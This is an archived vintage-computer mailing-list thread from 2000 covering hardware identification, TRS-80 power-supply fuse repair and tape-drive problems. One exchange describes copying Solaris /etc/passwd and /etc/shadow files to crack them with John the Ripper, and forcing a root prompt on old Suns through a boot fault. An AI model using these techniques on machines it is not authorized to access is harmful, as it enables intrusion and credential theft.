"typesetter". Any idea what these cards are and if they're usable in other dec systems? I left the QIC tape drive behind and they said there was more where that rack came from - anyone interested or is this junk? Trash pickup is on wednesday so let me know before then :) Jay West From allisonp at world.std.com Sun May 21 09:52:05 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:48 2005 Subject: Warning: Most of DejaNews Archive Offline Message-ID: <009801bfc343$3ac49490$7164c0d0@ajp166> >Same here. I was trying to find the pinouts and specs on a TRS-80 Model 1 >power supply when I got the bad news. (Bad news, ha ha ha, pun not intended >but somewhat funny?) I did find them somewhere else, though. Break it open and replace the thermal fuse just under the winding tape. Thats the most common problem. You can erify that this is the problem by OHMing the the primary to see if it open. Allison From healyzh at aracnet.com Sun May 21 12:39:47 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:51:48 2005 Subject: Identification request - QuadexQ5000/SMS/Compugraphics/DEC ??? should I save it? In-Reply-To: <000d01bfc342$79484320$0101a8c0@jay> Message-ID: >Quadex Q5000 labeled rack and cpu enclosure >Various tags inside the cabinet mention Quadex or Scientific Micro Systems >or CompuGraphics About the only thing I can tell you on all of this is that SMS (though I thought that was SanFrancisco Micro Systems) made PDP-11 clones. I've got two SMS chassis' with DEC PDP-11/73 dual hieght CPU's and DEC 256KW RAM. The Disk controller and Serial I/O is all off the Q-Bus on a SMS board. >The backplane looks DECish to me - similar to what I've seen in a 11/44. Is it Hex-Height? A Q-Bus Backplane would normally be Quad-Height, or maybe dual, not Hex. Could be a rather interesting beast. >Here's some of the cards that are in it. >Three M8017 - I know what these are :) >One M8043 - I know what this is too :) >Four boards #20033 - each has a tiny 4 pin connector and a tiny coax type >connector (much smaller than 10b2). Main chip is N8X305N >one #70201 which obviously went to external devices - two 50 pin headers >which end in same connector 11/23 uses to go to external RD52's >Sheild/bus terminator board - #203763 >What appears to be a memory board and has a 40 pin connector on it - #75063 >One board has a ton of different size ribbon cables coming off it - label >says "FWD0106" >Plessey Peripheral Systems board with 50-pin berg connector #703755 >Small board #20041 with 14 pin berg coming off the side >2 card cpu set - #20038 and #20039, about 5 AM2901CPO chips, and a lot of >N82S191N chips that say things like "instruction decoder" This sounds all very wierd, especially that 2 card CPU set. I'm wondering what kind of CPU it even uses! Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From technoid at cheta.net Sun May 21 12:51:45 2000 From: technoid at cheta.net (technoid) Date: Sun Feb 27 18:51:48 2005 Subject: more weird stuff - ChameLAN 100-s References: <3.0.1.16.20000520090412.26570da6@mailhost.intellistar.net> Message-ID: <39282230.D18426A6@cheta.net> Hi Joe! I had a similar problem with my Sun machine. What I did was physically mount the foreign drive on my clone running redhat. I knew what the solaris filesystem was and so was able to instruct redhat to mount it (read only). Then a friend in ClassicComp turned me on to a program called 'John the Ripper'. I copied the /etc/passwd and /etc/shadow files to my clones' drive and ran the program to crack the passwords. The root password was not crackable but most others were. As the clock on my Sparcstation had a dead batt, the dateas irrational for the user I logged on as as that user had not yet been created.... This caused solaris to drop me to a root prompt at which time I was able to change the root pw and have full system access in the proper way with the proper date. You need to gather intelligence on the system to determine which filesystem it is running . Barring that you could randomly try various filesystems until you hit the right one. Sounds like a very cool box you bumped into! Keep me and all of us posted on your progress. If you give some more details on the type of unix it runs, someone on the list may be able to tell you which filesystem it is useing. Best of luck!! wrote: > Here's something else that I picked up in a load of old computers last > week. It's one of those oversize lunch box computers with the keyboard that > folds up against one side and covers the screen. It has six ISA type card > slots that lay horizontal in the main unit. There's also a piggy back unit > that has three more ISA type slots that stand vertical. The logo on the > keyboard says "Tekelec" and ChameLAN 100-S". After some work, I finally > got it to boot. The first surprise was that the LCD screen is a backlit > color screen. The next surprise is that it boots into some kind of UNIX. I > never did see a name for the UNIX but it pops up a number of different > copyright notices including one for DOLCH, Tekelec and the usual UNIX ones. > I couldn't get past the login id/password prompt. Any suggestions about > how to get around it? > > It has some strange cards in it including several that appear to be very > fancy Ethernet cards and another that has four fiber-optic connectors. The > three boards in the piggy back unit are physicaly bolted together and each > one has a four pin power connector similar to a 5 1/4" disk drive. There > is a cable that connects to a each of those power connectors and a power > outlet on the motherboard. The external connectors on these boards are > marked "Bypass Control", "TR1" and "TR2" and "AUX". One of the boards has a > big IC that's marked AMD AM79C830GC on it. I haven't been able to find a > refernece to this chip. One of the other boards has an AMD AM7984AJC/20 on > it. I haven't found a reference to that one either. Does anyone know what > they are? > > The main computer is a 32 Mhz 486 with 16 Mb of RAM. The hard drive is a > type 11 245 Mb IDE drive and it has a 1/3 height 1.44 Mb floppy drive. > There are also extra LED indicators on the front of the computer that are > marked "Ring Op" "Pri" "Sec", Signal Detect" "A" "B" and "Active" "A" "B". > > Does anyone know what this machine is made for or anything else about it? > > Joe From cmcmanis at mcmanis.com Sun May 21 13:15:22 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:51:48 2005 Subject: Identification request - QuadexQ5000/SMS/Compugraphics/DEC ??? should I save it? In-Reply-To: <000d01bfc342$79484320$0101a8c0@jay> Message-ID: <4.3.1.2.20000521111402.00e3a380@208.226.86.10> It sounds like a custom CPU, probably PDP 11 like since the cards would have drivers. You should pull it and plug it into a Q-bus and see if you get an ODT like prompt. --Chuck At 11:34 AM 5/21/00 -0500, you wrote: >Quadex Q5000 labeled rack and cpu enclosure From lemay at cs.umn.edu Sun May 21 13:33:56 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:51:48 2005 Subject: more weird stuff - ChameLAN 100-s In-Reply-To: <39282230.D18426A6@cheta.net> from technoid at "May 21, 2000 01:51:45 pm" Message-ID: <200005211833.NAA10931@caesar.cs.umn.edu> > > I had a similar problem with my Sun machine. What I did was physically mount > the foreign drive on my clone running redhat. I knew what the solaris > filesystem was and so was able to instruct redhat to mount it (read only). > Then a friend in ClassicComp turned me on to a program called 'John the > Ripper'. I copied the /etc/passwd and /etc/shadow files to my clones' drive > and ran the program to crack the passwords. The root password was not > crackable but most others were. As the clock on my Sparcstation had a dead > batt, the dateas irrational for the user I logged on as as that user had not > yet been created.... This caused solaris to drop me to a root prompt at which > time I was able to change the root pw and have full system access in the proper > way with the proper date. > Hmm, you must have been lucky, and the system didnt have its EEPROM security features turned on. The standard way to hack VERY old Sun's, used to be to boot the computer with a hardware fault that the operating system couldnt solve and which it would then drop you into local root, and then fix the hardware problem. Traditionally, one would unplug the keyboard before powering on the system ;) The fix for this hardware problem is left as an extra credit problem for you to figure out... ;) -Lawrence LeMay From technoid at cheta.net Sun May 21 14:55:47 2000 From: technoid at cheta.net (technoid) Date: Sun Feb 27 18:51:48 2005 Subject: more weird stuff - ChameLAN 100-s References: <200005211833.NAA10931@caesar.cs.umn.edu> Message-ID: <39283F42.FA6D5EC5@cheta.net> No luck involved. The machine did not boot when I got it. It had bad ram and a dead NVRAM batt. Security could not be maintained by NVRAM with a dead batt. I grafted a clone batt onto the SG Thompson chip and got the system running without a real-time clock ( I damaged the oscillator when repairing the chip). Eveni if the NVRAM security had been enabled and the batt viable I would have defeated the security easily by disconnecting the internal batt on the SG Thompson or as eventually happened, replacing the chip with an equivalent device from Dallas Semiconductor. Unfortunately these chips are in very short supply at the moment. I got mine directly from Dallas and it was one of a handful left in their inventory. Both Dallas and SG Thompson are gearing up for new production but some estimates for volume availability are into the year 2001! I have never been defeated by a computer. Lawrence LeMay wrote: > > > Hmm, you must have been lucky, and the system didnt have its EEPROM security > features turned on. The standard way to hack VERY old Sun's, used to > be to boot the computer with a hardware fault that the operating system > couldnt solve and which it would then drop you into local root, and then > fix the hardware problem. Traditionally, one would unplug the keyboard > before powering on the system ;) The fix for this hardware problem is > left as an extra credit problem for you to figure out... ;) > > -Lawrence LeMay From ard at p850ug1.demon.co.uk Sun May 21 13:08:58 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:48 2005 Subject: Warning: Most of DejaNews Archive Offline In-Reply-To: <000701bfc2d2$9d57f050$0201640a@colossus> from "Earl Evans" at May 20, 0 08:14:02 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 3155 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000521/604d2bc6/attachment.ksh From ard at p850ug1.demon.co.uk Sun May 21 13:38:46 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:49 2005 Subject: rescued a beehive! In-Reply-To: <3.0.1.16.20000521094703.264706fe@mailhost.intellistar.net> from "Joe" at May 21, 0 09:47:03 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1399 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000521/09427910/attachment.ksh From ard at p850ug1.demon.co.uk Sun May 21 13:42:15 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:49 2005 Subject: TRS-80 Model 1 Power supply (was: Warning: Most of DejaNews In-Reply-To: from "Fred Cisin" at May 21, 0 09:24:49 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1134 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000521/d52e0dae/attachment.ksh From richard at idcomm.com Sun May 21 17:10:32 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:49 2005 Subject: TRS-80 Model 1 Power supply (was: Warning: Most of DejaNews References: Message-ID: <000701bfc371$650c7820$0400c0a8@winbook> A friend of mine routinely had to crack open his TRS-80 PSU's. He did this with some care, but mostly a plastic mallet and a chisel. Once the deed was done, he used MEK to glue the case back together. This seemed to me like a lot of trouble. I'd put in an externally accessible fuse holder arrangement of some sort so I didn't have to do this more than once. Dick ----- Original Message ----- From: Fred Cisin (XenoSoft) To: Sent: Sunday, May 21, 2000 10:24 AM Subject: TRS-80 Model 1 Power supply (was: Warning: Most of DejaNews > On Sat, 20 May 2000, Earl Evans wrote: > > BTW, anyone have a spare TRS-80 Model 1 power supply hanging around? :-) > > Or, could tell me how to build/repair one? > > The good news is that MOST (but certainly not ALL) problems with the model > 1 power supply are nothing more than a blown fuse! All that is usually > needed is to solder in a new fuse. > > The bad news is that the case is glued together. > > Fortunately the glued joint tends to be substqantially weaker than the > rest of the case. > > Although some, such as Tony, might have a much better way to open the > case, brute force will usually do. Swinging it by the cord (now I'm SURE > that Tony would have a better way :-), slam it down onto a carpeted floor. > Gradually increase the level of violence until it cracks open, without > getting rough enough to shatter it all over the place. > > Solder in a new fuse, and glue the case back together. > > > A Dremel saw might do the job, but this is the technique that we used at > the 6th? West Coast Computer Faire to repair half a dozen of them. (Show > management insisted that there was NOTHING WRONG with the power provided) > > > I sold some of my model 1 stuff at VCF, and Eric got most of the rest. > > -- > Grumpy Ol' Fred cisin@xenosoft.com > DogEars > From healyzh at aracnet.com Sun May 21 17:14:31 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:51:49 2005 Subject: Argh! TZ30 Question Message-ID: Well, after spending the last several hours transfering the files for a 2.11BSD Boot tape over to my RSX-11M system I proceeded to try and write them to tape. Not sure if I was doing it right because the TZ30 proceeded to eat the TK50! Does anyone have any suggestions on how to get a TZ30 to rewind a tape and spit it out? It looks to have wound the entire tape around the spindle. It acts like it tries to rewind the tape, but then it just sits there with the three lights flashing. Now someone mind reminding me *why* I'm even trying to load 2.11BSD on my /73! Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From mikeford at socal.rr.com Sun May 21 17:18:04 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:49 2005 Subject: Lexicomp LC8600, Grid 3800? In-Reply-To: <3.0.1.16.20000521094703.264706fe@mailhost.intellistar.net> References: <3.0.1.16.20000520075933.25bf721a@mailhost.intellistar.net> Message-ID: I brought home another toy, and left a few behind. Lexicomp LC8600 Tiny, 1x5x9 inches DOS 5.0 computer with full keyboard and a 1 MB smartcard removable memory. Made by Sinolog in Tawain, around 1994, these are exUSN, and come up with some vague military display about incoming and signal strength, but soon fails when a serial port device doesn't respond. I brought home one from the ACP swapmeet (lame, nothing new) and left a few behind. Grid 3800 laptops, Tandy 1500, I left half a dozen of these behind. They didn't show up on the Tandy/Grid support site (which looks like it is about to GO). Laptops seem to take even more space than a full size computer (I hate to stack them, so I end up with one or one type to a box and its getting crowed. I either need to seriously reaarrage From healyzh at aracnet.com Sun May 21 17:32:18 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:51:49 2005 Subject: Argh! TZ30 Question - Part 2 In-Reply-To: Message-ID: Well, I got the tape out, and as far as I can tell the problem was an impossibility! The tape had gotten twisted/looped around an messed up. I've no clue as to how it could even happen! I just pulled the four top screws and carefully removed the circuit board, saw what the problem was, manually ejected the tape, and then turned the tape around till I got the twists out of it (about a dozen turns?!?!!?). Then put the tape back in and told the drive to unload it. It did. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From cmcmanis at mcmanis.com Sun May 21 17:55:03 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:51:49 2005 Subject: Argh! TZ30 Question - Part 2 In-Reply-To: References: Message-ID: <4.3.1.2.20000521155308.00e1ad90@208.226.86.10> >Well, I got the tape out, and as far as I can tell the problem was an >impossibility! The tape had gotten twisted/looped around an messed up. >I've no clue as to how it could even happen! It could work like this (at least on the TK50) the leader pulls on the tape, but the tape resists, then the leader rides up the center spool and "flips" over the top, then the next time around the tape has a twist in it. Never seen it though! I was rather pleased at the TZ30 I got as it seemed a better design than the original TK50. --Chuck From djg at drs-esg.com Sun May 21 17:50:38 2000 From: djg at drs-esg.com (David Gesswein) Date: Sun Feb 27 18:51:49 2005 Subject: PDP-8/L teletype connection Message-ID: <200005212250.SAA30701@drs-esg.com> From: Lawrence LeMay > The card is a W076 D. > > I need to figure out which connections on the W076 are for what 'signal', > so i can trace the wires to the DB-9 connector, and then make some > adaptor cables. Does anyone have that information on the W076? My > books dont list the W076. And which pairs on the W076 are active/passive, > and am i correct in assuming that active pairs on one device connect to > passive on the other end, ie, active supplies the current for the loop? > It took me a while to remember where they stuck the schematic for the W076 but I found it. If you get the 8/I maintenance manual from http://highgate.comm.sfu.ca/pdp8 volume I Figure 5-7 pg 5-16 shows the schematic for the W076 and the connections to the teletype. I see that the page was scribbled on, the numbers from top to bottom are 4 6 3 relay- 7 relay+. > I would want to connect a Teletype model 33 (assuming the one i'm > supposed to be getting one of these days actually works...). Also, > I would like to be able to connect an IBM to the 8/L, and hopefully > use it to download paper tape images (probably using a rs232/current-loop > interface). Has anyone been using an IBM like this in place of a > ASR terminal? > If you get an ASR-33 which wasn't used for a PDP-8 I have instruction on how to add the reader run relay. I have used a PC (ok it was an old TI PC, used a different serial port which supported hardware flow control which I connected to the reader run signal) to talk to my 8/I, I built an external current loop converter. If you need more information on this email me, from later postings it looks like you might have a current loop card for the PC. If you get overrun problems it may be due to not having the reader run signal. The 8/I serial port is not double buffered so it doesn't have much time (1-2 bit time) to remove the character before it is lost by the next. If I remember correctly only some things like Focal couldn't keep up at 110. David Gesswein From technoid at cheta.net Sun May 21 17:52:19 2000 From: technoid at cheta.net (technoid) Date: Sun Feb 27 18:51:49 2005 Subject: Cracking open Brick-type power supplies References: <000701bfc371$650c7820$0400c0a8@winbook> Message-ID: <392868A2.1E2F7420@cheta.net> Richard Erlacher wrote: > A friend of mine routinely had to crack open his TRS-80 PSU's. He did this > with some care, but mostly a plastic mallet and a chisel. Once the deed > was done, he used MEK to glue the case back together. This seemed to me > like a lot of trouble. I'd put in an externally accessible fuse holder > arrangement of some sort so I didn't have to do this more than once. > > Dick > ----- Original Message ----- > From: Fred Cisin (XenoSoft) > To: > Sent: Sunday, May 21, 2000 10:24 AM > Subject: TRS-80 Model 1 Power supply (was: Warning: Most of DejaNews > > > On Sat, 20 May 2000, Earl Evans wrote: > > > BTW, anyone have a spare TRS-80 Model 1 power supply hanging around? > :-) > > > Or, could tell me how to build/repair one? > > > > The good news is that MOST (but certainly not ALL) problems with the model > > 1 power supply are nothing more than a blown fuse! All that is usually > > needed is to solder in a new fuse. > > > > The bad news is that the case is glued together. > > > > Fortunately the glued joint tends to be substqantially weaker than the > > rest of the case. > > > > Although some, such as Tony, might have a much better way to open the > > case, brute force will usually do. Swinging it by the cord (now I'm SURE > > that Tony would have a better way :-), slam it down onto a carpeted floor. > > Gradually increase the level of violence until it cracks open, without > > getting rough enough to shatter it all over the place. > > > > Solder in a new fuse, and glue the case back together. > > > > > > A Dremel saw might do the job, but this is the technique that we used at > > the 6th? West Coast Computer Faire to repair half a dozen of them. (Show > > management insisted that there was NOTHING WRONG with the power provided) > > > > > > I sold some of my model 1 stuff at VCF, and Eric got most of the rest. > > > > -- > > Grumpy Ol' Fred cisin@xenosoft.com > > DogEars > > From technoid at cheta.net Sun May 21 17:59:07 2000 From: technoid at cheta.net (technoid) Date: Sun Feb 27 18:51:49 2005 Subject: Cracking open brick-type transformers References: <000701bfc371$650c7820$0400c0a8@winbook> Message-ID: <39286A3A.717ED53A@cheta.net> Sorry for the blank message previous.... I am getting used to a new e-mailer as my own x86 machine's hdd died the other day... I have had good success with a hot knife in cutting open sealed "brick"-type power packs and know that replacing the fuse concealed therein is likely to restore function. Another method I found a few years later is a hacksaw. Hack at the top of the supply until you can cleanly remove the top part of the brick. This leaves a much neater pack when you are done and easy access for future replacements... An Atari enthusiast like myself then bested the above method by tapping out the original (usually four) plastic 'welds' at the bottome of the pack and freeing the guts rather quickly and cleanly. Depending on your method of entry, an external fuse holder is either nice or neccessary. I usually put them on with the hot knife method. Other methods lend themselves better to re-entry for subsequent failures. Richard Erlacher wrote: > A friend of mine routinely had to crack open his TRS-80 PSU's. He did this > with some care, but mostly a plastic mallet and a chisel. Once the deed > was done, he used MEK to glue the case back together. This seemed to me > like a lot of trouble. I'd put in an externally accessible fuse holder > arrangement of some sort so I didn't have to do this more than once. > > Dick > ----- Original Message ----- > From: Fred Cisin (XenoSoft) > To: > Sent: Sunday, May 21, 2000 10:24 AM > Subject: TRS-80 Model 1 Power supply (was: Warning: Most of DejaNews > > > On Sat, 20 May 2000, Earl Evans wrote: > > > BTW, anyone have a spare TRS-80 Model 1 power supply hanging around? > :-) > > > Or, could tell me how to build/repair one? > > > > The good news is that MOST (but certainly not ALL) problems with the model > > 1 power supply are nothing more than a blown fuse! All that is usually > > needed is to solder in a new fuse. > > > > The bad news is that the case is glued together. > > > > Fortunately the glued joint tends to be substqantially weaker than the > > rest of the case. > > > > Although some, such as Tony, might have a much better way to open the > > case, brute force will usually do. Swinging it by the cord (now I'm SURE > > that Tony would have a better way :-), slam it down onto a carpeted floor. > > Gradually increase the level of violence until it cracks open, without > > getting rough enough to shatter it all over the place. > > > > Solder in a new fuse, and glue the case back together. > > > > > > A Dremel saw might do the job, but this is the technique that we used at > > the 6th? West Coast Computer Faire to repair half a dozen of them. (Show > > management insisted that there was NOTHING WRONG with the power provided) > > > > > > I sold some of my model 1 stuff at VCF, and Eric got most of the rest. > > > > -- > > Grumpy Ol' Fred cisin@xenosoft.com > > DogEars > > From ghldbrd at ccp.com Sun May 21 23:57:47 2000 From: ghldbrd at ccp.com (Gary Hildebrand) Date: Sun Feb 27 18:51:49 2005 Subject: exabyte tape unit Message-ID: Hello guys and gals, I have a quick question: I just procured an exabyte EXB8505ST and was wondering if any of you knew what tape it uses and what the capacity is in MB. Got this at a swap meet for the case, but if the drive is useable, I'll keep it together. Respond off-list to keep the clutter down. Kind regards -- Gary Hildebrand ghldbrd@ccp.com From retro at retrobits.com Sun May 21 18:08:35 2000 From: retro at retrobits.com (Earl Evans) Date: Sun Feb 27 18:51:49 2005 Subject: Update: TRS-80 Model 1 Power supply (was: Warning: Most of DejaNews References: Message-ID: <000f01bfc379$7e26e2c0$0201640a@colossus> Hi folks, Well, this power supply is plastic, but has four screws holding it together. It wasn't obvious, because the screwholes were mounted underneath the rubber feet (which I had to pull off). I discovered this after being somewhat brutal with the power supply...hope I didn't destroy it in the effort to open it. Well, transformers are tough devices :-) All who guessed it was the fuse...bingo! The fuse is indeed out to lunch. I'm off to Fry's to get a new fuse. I'll solder it in, and report back with the results... - Earl ----- Original Message ----- From: "Tony Duell" To: Sent: Sunday, May 21, 2000 11:42 AM Subject: Re: TRS-80 Model 1 Power supply (was: Warning: Most of DejaNews > [TRS-80 Model 1 PSUs] > > > Although some, such as Tony, might have a much better way to open the > > case, brute force will usually do. Swinging it by the cord (now I'm SURE > > Oh, I like it :-).... > > I normally use the knife blade on my Leatherman and run it carefully > round the seam between the 2 parts of the case. Then crack the case > apart. Or at least that's how I open up most 'sealed' AC adapters. As I > mentioned in my other posting, the UK model 1 PSUs are in metal cases and > have 4 screws holding them together ;-) > > > that Tony would have a better way :-), slam it down onto a carpeted floor. > > Gradually increase the level of violence until it cracks open, without > > getting rough enough to shatter it all over the place. > > > > Solder in a new fuse, and glue the case back together. > > > > > > A Dremel saw might do the job, but this is the technique that we used at > > the 6th? West Coast Computer Faire to repair half a dozen of them. (Show > > I like it...... > > > management insisted that there was NOTHING WRONG with the power provided) > > Let me guess.... The neutral (mains midpoint) connection was all over the > place. > > -tony > From pat at transarc.ibm.com Sun May 21 18:12:43 2000 From: pat at transarc.ibm.com (Pat Barron) Date: Sun Feb 27 18:51:49 2005 Subject: Farallon "Project Emily" ? Message-ID: In tidying up a bit this weekend, I've unearthed one of my eBay purchases from about a year or so ago. Apparently a couple of Farallon prototypes, marked "Farallon - Project Emily"; they're brown, sheet-metal cases, with two RJ45's marked "ETHERWAVE" (and one sub-marked "ETHERNET", along side an Ethernet AUI connector), an RJ45 connector marked "ISDN U", a mini-DIN connector marked "CONFIG CONSOLE", and another RJ45 marked "PHONENET LOCALTALK". I really don't know what these are, and neither did the guy I got them from - I just bought them on a lark. I can only guess that they are some type of Ethertalk/Localtalk-to-ISDN router/bridge. Does anyone know what, if any, product these might have been prototypes for? --Pat. From pat at transarc.ibm.com Sun May 21 18:24:56 2000 From: pat at transarc.ibm.com (Pat Barron) Date: Sun Feb 27 18:51:49 2005 Subject: Available: a couple of bare TU58 drives Message-ID: I have two TU58 bare drives, also picked up from eBay about a year or so ago. I've decided that I'm unlikely to ever use them, and would like to see them go to a good home. I've never tried them and can't guarantee they work, though I was told that they were functional when I got them. I'll be happy to give them away (but please reimburse me for shipping if possible) to the first person who sends me a note to ask for them, and who has an actual use for them (i.e., is actually maintaining a VAX-11/750, a PDP-11/44, or some other system that uses these drives). Please respond to me only - no need to clutter up the list (replies sent to, or cc'ed to, the ClassicCmp mailing list will be *ignored*) --Pat. From ard at p850ug1.demon.co.uk Sun May 21 18:21:00 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:49 2005 Subject: Update: TRS-80 Model 1 Power supply (was: Warning: Most of DejaNews In-Reply-To: <000f01bfc379$7e26e2c0$0201640a@colossus> from "Earl Evans" at May 21, 0 04:08:35 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1745 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000522/a0511367/attachment.ksh From mcguire at neurotica.com Sun May 21 18:27:15 2000 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 18:51:49 2005 Subject: exabyte tape unit In-Reply-To: exabyte tape unit (Gary Hildebrand) References: Message-ID: <14632.28883.224387.736116@phaduka.neurotica.com> On May 21, Gary Hildebrand wrote: > I have a quick question: I just procured an exabyte EXB8505ST and was > wondering if any of you knew what tape it uses and what the capacity is in > MB. Got this at a swap meet for the case, but if the drive is useable, I'll > keep it together. Respond off-list to keep the clutter down. Wow, if you bought it for the case, you probably got it cheap. 8505 drives go for $100-150 nowadays. I use Sony QG-112m data-grade tapes in my 8505 drives. -Dave McGuire From eric at brouhaha.com Sun May 21 18:25:16 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:51:49 2005 Subject: exabyte tape unit In-Reply-To: (message from Gary Hildebrand on Sun, 21 May 2000 22:57:47 -0600) References: Message-ID: <20000521232516.8016.qmail@brouhaha.com> > I have a quick question: I just procured an exabyte EXB8505ST and was > wondering if any of you knew what tape it uses and what the capacity is in > MB. Got this at a swap meet for the case, but if the drive is useable, I'll > keep it together. Native 5G (on 120 meter tapes?). More with compression. Uses 8mm data tapes. Some 8mm video tapes (typically 112 meter?) have been known to work, but if you go that route, don't use cheap ones. It's rumored that Sony changed their 8mm tape formulation at some point to prevent their video tapes from working in Exabyte drives, since they wanted to sell higher-priced data-grade tapes. Personally, I use data grade tapes anyhow. In the "4mm" world (DAT & DDS), it astonishes me that most audiophiles will only use DDS (data-grade) tape for recoding audio, because they don't want any dropouts, but many computer users try to use cheap audio-grade DAT tape for their data. I guess that shows who values their recordings more. And yes, I've personally verified that the error rates on DDS tapes from the major manufacturers are in fact lower than the error rates on the same manufacturer's audio DAT tapes. Whether that's true of 8mm tapes as well, I don't know, as I haven't done any comparisons. > Respond off-list to keep the clutter down. Nope. From ard at p850ug1.demon.co.uk Sun May 21 18:26:22 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:49 2005 Subject: PDP-8/L teletype connection In-Reply-To: <200005212250.SAA30701@drs-esg.com> from "David Gesswein" at May 21, 0 06:50:38 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1110 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000522/0ba121a6/attachment.ksh From foo at siconic.com Sun May 21 17:39:03 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:51:49 2005 Subject: Warning: Most of DejaNews Archive Offline In-Reply-To: Message-ID: On Sun, 21 May 2000, Tony Duell wrote: > Of course the other way to find out the specs of the TRS-80 model 1 PSU > box is to post here. Whereupon some mad hacker with a Model 1 Technical > Reference Manual to hand will look it up :-) Unofficially, I call this the Encyclopedia Classiccompica :) Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From cmcmanis at mcmanis.com Sun May 21 18:59:49 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:51:49 2005 Subject: Misc Avail : morrow hd manual Message-ID: <4.3.1.2.20000521165833.00e1ccc0@208.226.86.10> I found an old Morrow HD-DMA manual (S-100 hard disk card I presume) if you want it, let me know and I'll mail it to you. --Chuck From healyzh at aracnet.com Sun May 21 19:02:44 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:51:49 2005 Subject: Semi-OT: DECstation/TZ30 question Message-ID: Since this is related to getting 2.11BSD up on my PDP-11/73 I figure it's Semi-OT. OK, I figured since I'd had to pull the TZ30 I might as well just plug it into the DECstation 5000/133 I've got. I take it that such a beasty won't recognize a TZ30? Doing a "CNFG 3" turned up the two RZ25's in the thing, but not the tapedrive, and I couldn't see it from Ultrix 4.3 either. Once again I'm asking myself *why* am I doing this, I like my UNIX lightening fast and flashy. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From mcguire at neurotica.com Sun May 21 19:19:55 2000 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 18:51:49 2005 Subject: Semi-OT: DECstation/TZ30 question In-Reply-To: Semi-OT: DECstation/TZ30 question (Zane H. Healy) References: Message-ID: <14632.32043.464425.181949@phaduka.neurotica.com> On May 21, Zane H. Healy wrote: > Since this is related to getting 2.11BSD up on my PDP-11/73 I figure it's > Semi-OT. > > OK, I figured since I'd had to pull the TZ30 I might as well just plug it > into the DECstation 5000/133 I've got. I take it that such a beasty won't > recognize a TZ30? Doing a "CNFG 3" turned up the two RZ25's in the thing, > but not the tapedrive, and I couldn't see it from Ultrix 4.3 either. Hmm...can't help you with that; never tried it. I do remember, however, reading something recently (here? or maybe NetBSD's port-vax list?) about the TZ30 not being a well-behaved SCSI citizen and needing some tweaks in somebody's (NetBSD's?) SCSI driver somewhere to work properly. Coincidentally though, Zane, I'm doing the same thing tonight...I just finished putting together an 11/73 and now (in parallel with a few other things) I'm trying to figure out how to get the distribution onto a TK50. I have a MicroVAX 3100-80 running VMS 7.2 with a TZ30...perhaps I could write that tape there? Anybody know what VMS incantations I'd have to do to "get there from here"? > Once again I'm asking myself *why* am I doing this, I like my UNIX > lightening fast and flashy. Well, I've never run Unix on an '11...but you and I both have run a lot of 11s in our day, and you know darn well there's nothing slouchy about a J11. ;) -Dave McGuire From mark at cs.ualberta.ca Sun May 21 19:31:50 2000 From: mark at cs.ualberta.ca (Mark Green) Date: Sun Feb 27 18:51:49 2005 Subject: Semi-OT: DECstation/TZ30 question In-Reply-To: <14632.32043.464425.181949@phaduka.neurotica.com> from Dave McGuire at "May 21, 2000 